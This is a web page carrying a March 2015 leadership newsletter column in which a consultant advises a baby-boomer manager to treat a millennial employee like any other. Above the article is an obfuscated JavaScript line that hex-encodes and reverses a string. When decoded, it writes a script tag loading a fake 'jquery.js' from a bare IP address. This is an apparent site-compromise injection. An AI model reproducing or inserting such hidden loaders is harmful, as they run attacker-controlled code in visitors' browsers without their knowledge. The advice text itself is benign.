var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0])); Dear Terry – I Field Your Questions March 2015 – Unleash your Leadership Potential

Dear Terry – I Field Your Questions March 2015

headerimage01AliceTerry, I am a baby boomer and am feeling quite a bit of pressure to accommodate the needs of the millennial employees. I’ve heard that they are different in terms of their motivations and approach to work although the one I do have doesn’t seem all that different (other than being VERY young!). What should I be doing as his manager? Alice

Terry: Alice, great question and one with a relatively easy answer: do what you do with all your other employees:

  • Clarify expectations and link them to the team’s goals and organizational goals.
  • Provide the support – resources, tools, training, time – the employee needs to succeed.
  • Provide regular feedback – positive as well as constructive.
  • Understand what motivates him.
  • Connect with the employee. Get to know his interests and hobbies.
  • Coach and help him develop and grow.
  • Appreciate the differences.

There are some who play up the differences among generations. I feel that there are more commonalities than differences among generations. Granted, for many knowledge workers, the way we work is changing – with technology, flexibile work schedules, the blurring between work and not-work, etc. But we tend to want the same things at work: challenge, the opportunity to contribute, the belief that what I do matters, and that how I measure up is within my control. Focus on the commonalities and you’ll do just fine!


Read more valuable leadership and management-related articles in this month’s Unleash Your Leadership Potential newsletter…

March 2015

Author: STEP Consulting